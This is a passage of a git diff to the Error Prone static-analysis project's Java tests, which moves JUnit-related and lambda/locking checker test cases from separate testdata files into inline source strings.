public void badVisibility() {} @Test public void positiveCase_customBeforeDifferentName() { compilationHelper - .addSourceFile("testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java") + .addSourceLines( + "JUnit4SetUpNotRunPositiveCaseCustomBefore2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Test case with a custom Before annotation. */ + @RunWith(JUnit4.class) + public class JUnit4SetUpNotRunPositiveCaseCustomBefore2 { + // This will compile-fail and suggest the import of org.junit.Before + // BUG: Diagnostic contains: @Before + @Before + public void initMocks() {} + + // BUG: Diagnostic contains: @Before + @Before + protected void badVisibility() {} + } + + @interface Before {}""") .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/JUnit4SetUpNotRunNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4SetUpNotRunNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junit.framework.TestCase; +import org.junit.Before; +import org.junit.internal.runners.JUnit38ClassRunner; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Not a JUnit 4 test (no @RunWith annotation on the class). */ +public class JUnit4SetUpNotRunNegativeCases { + public void setUp() {} +} + +@RunWith(JUnit38ClassRunner.class) +class J4SetUpWrongRunnerType { + public void setUp() {} +} + +@RunWith(JUnit4.class) +class J4SetUpCorrectlyDone { + @Before + public void setUp() {} +} + +/** May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. */ +@RunWith(JUnit4.class) +class J4SetUpJUnit3Class extends TestCase { + public void setUp() {} +} + +/** setUp() method is private and wouldn't be run by JUnit3 */ +@RunWith(JUnit4.class) +class J4PrivateSetUp { + private void setUp() {} +} + +/** + * setUp() method is package-local. You couldn't have a JUnit3 test class with a package-private + * setUp() method (narrowing scope from protected to package) + */ +@RunWith(JUnit4.class) +class J4PackageLocalSetUp { + void setUp() {} +} + +@RunWith(JUnit4.class) +class J4SetUpNonVoidReturnType { + int setUp() { + return 42; + } +} + +/** setUp() has parameters */ +@RunWith(JUnit4.class) +class J4SetUpWithParameters { + public void setUp(int ignored) {} + + public void setUp(boolean ignored) {} + + public void setUp(String ignored) {} +} + +/** setUp() method is static and wouldn't be run by JUnit3 */ +@RunWith(JUnit4.class) +class J4StaticSetUp { + public static void setUp() {} +} + +abstract class SetUpAnnotatedBaseClass { + @Before + public void setUp() {} +} + +/** setUp() method overrides parent method with @Before. It will be run by JUnit4BlockRunner */ +@RunWith(JUnit4.class) +class J4SetUpExtendsAnnotatedMethod extends SetUpAnnotatedBaseClass { + public void setUp() {} +}""") + .doTest(); } public abstract static class SuperTest { diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java index 7504f217de4..e665cdbdf0f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java @@ -32,25 +32,197 @@ public class JUnit4TearDownNotRunTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/JUnit4TearDownNotRunPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TearDownNotRunPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.Before; + import org.junit.BeforeClass; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * @author glorioso@google.com + */ + @RunWith(JUnit4.class) + public class JUnit4TearDownNotRunPositiveCases { + // BUG: Diagnostic contains: @After + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class JUnit4TearDownNotRunPositiveCase2 { + // BUG: Diagnostic contains: @After + protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4BeforeToAfter { + // BUG: Diagnostic contains: @After + @Before protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4BeforeClassToAfterClass { + // BUG: Diagnostic contains: @AfterClass + @BeforeClass protected void tearDown() {} + } + + class TearDownUnannotatedBaseClass { + void tearDown() {} + } + + @RunWith(JUnit4.class) + class JUnit4TearDownNotRunPositiveCase3 extends TearDownUnannotatedBaseClass { + // BUG: Diagnostic contains: @After + protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownHasOverride extends TearDownUnannotatedBaseClass { + // BUG: Diagnostic contains: @After + @Override protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownHasPublicOverride extends TearDownUnannotatedBaseClass { + // BUG: Diagnostic contains: @After + @Override public void tearDown() {} + }""") + .doTest(); } @Test public void positiveCase_customAnnotation() { compilationHelper - .addSourceFile("testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java") + .addSourceLines( + "JUnit4TearDownNotRunPositiveCaseCustomAfter.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Slightly funky test case with a custom After annotation) */ + @RunWith(JUnit4.class) + public class JUnit4TearDownNotRunPositiveCaseCustomAfter { + // This will compile-fail and suggest the import of org.junit.After + // BUG: Diagnostic contains: @After + @After + public void tearDown() {} + } + + @interface After {}""") .doTest(); } @Test public void positiveCase_customAnnotationDifferentName() { compilationHelper - .addSourceFile("testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java") + .addSourceLines( + "JUnit4TearDownNotRunPositiveCaseCustomAfter2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Test case with a custom After annotation. */ + @RunWith(JUnit4.class) + public class JUnit4TearDownNotRunPositiveCaseCustomAfter2 { + // This will compile-fail and suggest the import of org.junit.After + // BUG: Diagnostic contains: @After + @After + public void tidyUp() {} + } + + @interface After {}""") .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/JUnit4TearDownNotRunNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TearDownNotRunNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.After; + import org.junit.internal.runners.JUnit38ClassRunner; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Not a JUnit 4 class (no @RunWith annotation on the class). */ + public class JUnit4TearDownNotRunNegativeCases { + public void tearDown() {} + } + + @RunWith(JUnit38ClassRunner.class) + class J4TearDownDifferentRunner { + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownHasAfter { + @After + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownExtendsTestCase extends TestCase { + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownPrivateTearDown { + private void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownPackageLocal { + void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownNonVoidReturnType { + int tearDown() { + return 42; + } + } + + @RunWith(JUnit4.class) + class J4TearDownTearDownHasParameters { + public void tearDown(int ignored) {} + + public void tearDown(boolean ignored) {} + + public void tearDown(String ignored) {} + } + + @RunWith(JUnit4.class) + class J4TearDownStaticTearDown { + public static void tearDown() {} + } + + abstract class TearDownAnnotatedBaseClass { + @After + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownInheritsFromAnnotatedMethod extends TearDownAnnotatedBaseClass { + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownInheritsFromAnnotatedMethod2 extends TearDownAnnotatedBaseClass { + @After + public void tearDown() {} + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java index 3758cca49c7..59b86392000 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java @@ -37,12 +37,54 @@ public class JUnit4TestNotRunTest { @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(JUnit4.class) + public class JUnit4TestNotRunPositiveCase1 { + // BUG: Diagnostic contains: @Test + public void testThisIsATest() {} + + // BUG: Diagnostic contains: @Test + public static void testThisIsAStaticTest() {} + }""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.mockito.junit.MockitoJUnitRunner; + + /** + * Mockito test runner that uses JUnit 4. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(MockitoJUnitRunner.class) + public class JUnit4TestNotRunPositiveCase2 { + // BUG: Diagnostic contains: @Test + public void testThisIsATest() {} + + // BUG: Diagnostic contains: @Test + public static void testThisIsAStaticTest() {} + }""") + .doTest(); } @Test @@ -598,29 +640,174 @@ public void foo() {} @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Not a JUnit 4 test (no @RunWith annotation on the class). + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class JUnit4TestNotRunNegativeCase1 { + public void testThisIsATest() {} + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.internal.runners.JUnit38ClassRunner; + import org.junit.runner.RunWith; + + /** + * Not a JUnit 4 test (run with a JUnit3 test runner). + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(JUnit38ClassRunner.class) + public class JUnit4TestNotRunNegativeCase2 { + public void testThisIsATest() {} + }""") + .doTest(); } @Test public void negativeCase3() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase3.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase3.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.junit.*; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +@RunWith(JUnit4.class) +public class JUnit4TestNotRunNegativeCase3 { + // Doesn't begin with "test", and doesn't contain any assertion-like method invocations. + public void thisIsATest() {} + + // Isn't public. + void testTest1() {} + + // Have checked annotation. + @Test + public void testTest2() {} + + @Before + public void testBefore() {} + + @After + public void testAfter() {} + + @BeforeClass + public void testBeforeClass() {} + + @AfterClass + public void testAfterClass() {} + + // Has parameters. + public void testTest3(int foo) {} + + // Doesn't return void + public int testSomething() { + return 42; + } +}""") + .doTest(); } @Test public void negativeCase4() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase4.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase4.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junit.framework.TestCase; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ +@RunWith(JUnit4.class) +public class JUnit4TestNotRunNegativeCase4 extends TestCase { + public void testThisIsATest() {} +}""") + .doTest(); } @Test public void negativeCase5() { compilationHelper - .addSourceFile("testdata/JUnit4TestNotRunBaseClass.java") - .addSourceFile("testdata/JUnit4TestNotRunNegativeCase5.java") + .addSourceLines( + "JUnit4TestNotRunBaseClass.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.After; + import org.junit.Before; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * Base class for test cases to extend. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(JUnit4.class) + public class JUnit4TestNotRunBaseClass { + @Before + public void testSetUp() {} + + @After + public void testTearDown() {} + + @Test + public void testOverrideThis() {} + }""") + .addSourceLines( + "JUnit4TestNotRunNegativeCase5.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * Methods that override methods with @Test should not trigger an error (JUnit 4 will run them). + * + * @author eaftan@google.com (Eddie Aftandilian) + */ +@RunWith(JUnit4.class) +public class JUnit4TestNotRunNegativeCase5 extends JUnit4TestNotRunBaseClass { + @Override + public void testSetUp() {} + + @Override + public void testTearDown() {} + + @Override + public void testOverrideThis() {} +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java index c50831b1d2e..36ed0ba988a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java @@ -38,11 +38,58 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/JUnitAssertSameCheckPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "JUnitAssertSameCheckPositiveCase.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Positive test cases for {@link JUnitAssertSameCheck} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class JUnitAssertSameCheckPositiveCase { + + public void test(Object obj) { + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + org.junit.Assert.assertSame(obj, obj); + + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + org.junit.Assert.assertSame("message", obj, obj); + + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + junit.framework.Assert.assertSame(obj, obj); + + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + junit.framework.Assert.assertSame("message", obj, obj); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/JUnitAssertSameCheckNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnitAssertSameCheckNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative test cases for {@link JUnitAssertSameCheck} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class JUnitAssertSameCheckNegativeCases { + + public void test(Object obj1, Object obj2) { + org.junit.Assert.assertSame(obj1, obj2); + org.junit.Assert.assertSame("message", obj1, obj2); + junit.framework.Assert.assertSame(obj1, obj2); + junit.framework.Assert.assertSame("message", obj1, obj2); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java index d1043970adb..3df8bc05499 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java @@ -30,29 +30,236 @@ public class JUnitParameterMethodNotFoundTest { @Test public void negativeCase_noErrorsFound() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCase.java") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCase.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Arrays; +import java.util.Iterator; +import java.util.List; +import junitparams.JUnitParamsRunner; +import junitparams.Parameters; +import junitparams.naming.TestCaseName; +import org.junit.Test; +import org.junit.runner.RunWith; + +/** Negative cases for {@link com.google.errorprone.bugpatterns.JUnitParameterMethodNotFound} */ +@RunWith(JUnitParamsRunner.class) +public class JUnitParameterMethodNotFoundNegativeCase { + + private static final String METHOD = "named1"; + + private static Object[] dataProvider() { + return new Object[] {1}; + } + + private static Object[] dataProvider1() { + return new Object[] {2}; + } + + @Test + @Parameters(method = "dataProvider, dataProvider1") + public void paramStaticProvider(int a) {} + + @Test + @Parameters(source = Inner.class, method = "dataProviderInner") + public void testSource(int a) {} + + @Test + @Parameters({"AAA,1", "BBB,2"}) + public void paramsInAnnotation(String p1, Integer p2) {} + + @Test + @Parameters({"AAA|1", "BBB|2"}) + public void paramsInAnnotationPipeSeparated(String p1, Integer p2) {} + + @Test + @Parameters + public void paramsInDefaultMethod(String p1, Integer p2) {} + + private Object parametersForParamsInDefaultMethod() { + return new Object[] {new Object[] {"AAA", 1}, new Object[] {"BBB", 2}}; + } + + @Test + @Parameters(method = METHOD) + public void paramsInNamedMethod(String p1, Integer p2) {} + + private Object named1() { + return new Object[] {"AAA", 1}; + } + + @Test + @Parameters(method = "named2,named3") + public void paramsInMultipleMethods(String p1, Integer p2) {} + + private Object named2() { + return new Object[] {"AAA", 1}; + } + + private Object named3() { + return new Object[] {"BBB", 2}; + } + + @Test + @Parameters + public void paramsInCollection(String p1) {} + + private List parametersForParamsInCollection() { + return Arrays.asList("a"); + } + + @Test + @Parameters + public void paramsInIterator(String p1) {} + + private Iterator parametersForParamsInIterator() { + return Arrays.asList("a").iterator(); + } + + @Test + @Parameters + public void paramsInIterableOfIterables(String p1, String p2) {} + + private List> parametersForParamsInIterableOfIterables() { + return Arrays.asList(Arrays.asList("s01e01", "s01e02"), Arrays.asList("s02e01", "s02e02")); + } + + @Test + @Parameters( + "please\\\\, escape commas if you use it here and don't want your parameters to be split") + public void commasInParametersUsage(String phrase) {} + + @Test + @Parameters({"1,1", "2,2", "3,6"}) + @TestCaseName("factorial({0}) = {1}") + public void customNamesForTestCase(int argument, int result) {} + + @Test + @Parameters({"value1, value2", "value3, value4"}) + @TestCaseName("[{index}] {method}: {params}") + public void predefinedMacroForTestCaseNames(String param1, String param2) {} + + public Object mixedParameters() { + boolean booleanValue = true; + int[] primitiveArray = {1, 2, 3}; + String stringValue = "Test"; + String[] stringArray = {"one", "two", null}; + return new Object[] {new Object[] {booleanValue, primitiveArray, stringValue, stringArray}}; + } + + @Test + @Parameters(method = "mixedParameters") + @TestCaseName("{0}, {1}, {2}, {3}") + public void usageOfMultipleTypesOfParameters( + boolean booleanValue, int[] primitiveArray, String stringValue, String[] stringArray) {} + + static class Inner { + public Object dataProviderInner() { + return new Object[] {1}; + } + } +}""") .doTest(); } @Test public void negativeCase_nonJUnitParamsRunner_noErrorsFound() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junitparams.Parameters; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + @RunWith(JUnit4.class) + public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner { + @Test + @Parameters(method = "named1") + public void paramStaticProvider() {} + }""") .doTest(); } @Test public void negativeCase_inheritedMethods_noErrorsFound() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java") - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCaseBaseClass.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junitparams.JUnitParamsRunner; + import org.junit.runner.RunWith; + + @RunWith(JUnitParamsRunner.class) + public abstract class JUnitParameterMethodNotFoundNegativeCaseBaseClass { + public Object named1() { + return new Object[] {1}; + } + }""") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCaseSuperClass.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junitparams.JUnitParamsRunner; + import junitparams.Parameters; + import org.junit.Test; + import org.junit.runner.RunWith; + + @RunWith(JUnitParamsRunner.class) + public class JUnitParameterMethodNotFoundNegativeCaseSuperClass + extends JUnitParameterMethodNotFoundNegativeCaseBaseClass { + @Test + @Parameters(method = "named1") + public void testNamed(int a) {} + }""") .doTest(); } @Test public void positiveCase_errorReported() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundPositiveCase.java") + .addSourceLines( + "JUnitParameterMethodNotFoundPositiveCase.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junitparams.JUnitParamsRunner; +import junitparams.Parameters; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(JUnitParamsRunner.class) +public class JUnitParameterMethodNotFoundPositiveCase { + + @Test + @Parameters + // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] + public void paramsInDefaultMethod(String p1, Integer p2) {} + + @Test + @Parameters(method = "named2,named3") + // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] + public void paramsInMultipleMethods(String p1, Integer p2) {} + + @Test + @Parameters(source = JUnitParameterMethodNotFoundPositiveCase.class, method = "dataProvider") + // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] + public void testSource(int a) {} + + static class Inner { + public Object dataProvider() { + return new Object[] {1}; + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java index 54ceb4d6c23..06dd80ce5f2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java @@ -35,14 +35,265 @@ public class LambdaFunctionalInterfaceTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/LambdaFunctionalInterfacePositiveCases.java") + .addSourceLines( + "LambdaFunctionalInterfacePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.List; +import java.util.function.Function; + +public class LambdaFunctionalInterfacePositiveCases { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private double fooIntToDoubleFunctionPr(int x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private long fooIntToLongFunction(int x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private long fooIntToIntFunction(int x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private double fooDoubleToDoubleFunction(double x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private int fooDoubleToIntFunction(double x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private void fooInterface(String str, Function func) {} + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private double fooDouble(double x, Function fn) { + return fn.apply(x); + } + + public static class WithCallSiteExplicitFunction { + + private static double generateDataSeries(Function curveFunction) { + final double scale = 100; + final double modX = 2.0; + return modX / curveFunction.apply(scale); + } + + // call site + private static double generateSpendCurveForMetric(double curved) { + // explicit Function variable creation + Function curveFunction = x -> Math.pow(x, 1 / curved) * 100; + return generateDataSeries(curveFunction); + } + + // call site: lambda Function + public Double getMu() { + return generateDataSeries(mu -> 2.3); + } + } + + public static class WithCallSiteAnonymousFunction { + + private static double findOptimalMu(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: anonymous Function + public Double getMu() { + return findOptimalMu( + new Function() { + @Override + public Long apply(Double mu) { + return 0L; + } + }, + 3.0); + } + } + + public static class WithCallSiteLambdaFunction { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private static double findOptimalMuLambda(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: lambda + public Double getMu() { + return findOptimalMuLambda(mu -> 0L, 3.0); + } + + // call site: lambda + public Double getTu() { + return findOptimalMuLambda(mu -> 2L, 4.0); + } + } + + public static class TwoLambdaFunctions { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private static double find( + Function firstFunc, Function secondFun, double mid) { + firstFunc.apply(mid + 2); + + return firstFunc.apply(mid); + } + + // call site: lambda + public Double getMu() { + return find(mu -> 0L, nu -> 1L, 3.0); + } + + // call site: lambda + public Double getTu() { + return find(mu -> 2L, nu -> 3L, 4.0); + } + } + + public static class NumbertoT { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private static List numToTFunction(Function converter) { + List namedNumberIntervals = new ArrayList<>(); + T min = converter.apply(2.9); + T max = converter.apply(5.6); + namedNumberIntervals.add(min); + namedNumberIntervals.add(max); + return namedNumberIntervals; + } + + // call site: lambda + public List getIntList() { + List result = numToTFunction(num -> 2 + 3); + + return result; + } + + // call site: lambda + public List getDoubleList() { + List result = numToTFunction(num -> 2.3); + + return result; + } + } + + public static class TtoNumber { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private int sumAll(Function sizeConv) { + return sizeConv.apply((T) Integer.valueOf(3)); + } + + public int getSumAll() { + return sumAll(o -> 2); + } + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/LambdaFunctionalInterfaceNegativeCases.java") + .addSourceLines( + "LambdaFunctionalInterfaceNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.function.Function; +import java.util.function.IntToDoubleFunction; + +public class LambdaFunctionalInterfaceNegativeCases { + + public double fooIntToDoubleFunction(int x, Function fn) { + return fn.apply(x).doubleValue(); + } + + public void fooIntToDoubleUtil(int y, IntToDoubleFunction fn) { + fn.applyAsDouble(y); + } + + public long fooIntToLongFunction(int x, Function fn) { + return fn.apply(x); + } + + public long fooIntToIntFunction(int x, Function fn) { + return fn.apply(x); + } + + public double fooDoubleToDoubleFunction(double x, Function fn) { + return fn.apply(x); + } + + public int fooDoubleToIntFunction(double x, Function fn) { + return fn.apply(x); + } + + public String add(String string, Function func) { + return func.apply(string); + } + + public void fooInterface(String str, Function func) {} + + public double fooDouble(double x, Function fn) { + return fn.apply(x); + } + + public static class WithCallSiteExplicitFunction { + + public static double generateDataSeries(Function curveFunction) { + final double scale = 100; + final double modX = 2.0; + return modX / curveFunction.apply(scale); + } + + // call site + private static double generateSpendCurveForMetric(double curved) { + // explicit Function variable creation + Function curveFunction = x -> Math.pow(x, 1 / curved) * 100; + return generateDataSeries(curveFunction); + } + } + + public static class WithCallSiteAnonymousFunction { + + public static double findOptimalMu(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: anonymous Function + public Double getMu() { + return findOptimalMu( + new Function() { + @Override + public Long apply(Double mu) { + return 0L; + } + }, + 3.0); + } + } + + public static class WithCallSiteLambdaFunction { + + public static double findOptimalMuLambda(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: anonymous Function + public Double getMu() { + return findOptimalMuLambda(mu -> 0L, 3.0); + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java index 2acd2b86acc..39f35ea3081 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java @@ -31,8 +31,32 @@ public final class LiteEnumValueOfTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(LiteEnumValueOf.class, getClass()) - .addSourceFile("android/testdata/stubs/android/os/Parcel.java") - .addSourceFile("android/testdata/stubs/android/os/Parcelable.java") + .addSourceLines( + "Parcel.java", + """ + package android.os; + + public interface Parcel {}""") + .addSourceLines( + "Parcelable.java", + """ + package android.os; + + public interface Parcelable { + interface Creator { + T createFromParcel(Parcel in); + + T[] newArray(int size); + } + + int describeContents(); + + void writeToParcel(Parcel dest, int flags); + + interface ClassLoaderCreator extends Creator { + T createFromParcel(Parcel source, ClassLoader loader); + } + }""") .addSourceLines( "FakeLiteEnum.java", """ diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java index 5ed1787e1a8..0e7bf3d65c4 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java @@ -30,14 +30,70 @@ public final class LockOnNonEnclosingClassLiteralTest { @Test public void lockOnNonEnclosingClassLiteralPositiveCases() { compilationHelper - .addSourceFile("testdata/LockOnNonEnclosingClassLiteralPositiveCases.java") + .addSourceLines( + "LockOnNonEnclosingClassLiteralPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +public class LockOnNonEnclosingClassLiteralPositiveCases { + + static { + // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block + // can unintentionally prevent the locked class being used properly. + synchronized (String.class) { + } + } + + private void methodContainsSynchronizedBlock() { + // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block + // can unintentionally prevent the locked class being used properly. + synchronized (String.class) { + } + } + + class SubClass { + + public void methodContainsSynchronizedBlock() { + // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code + // block can unintentionally prevent the locked class being used properly. + synchronized (LockOnNonEnclosingClassLiteralPositiveCases.class) { + } + } + } +}""") .doTest(); } @Test public void lockOnNonEnclosingClassLiteralNegativeCases() { compilationHelper - 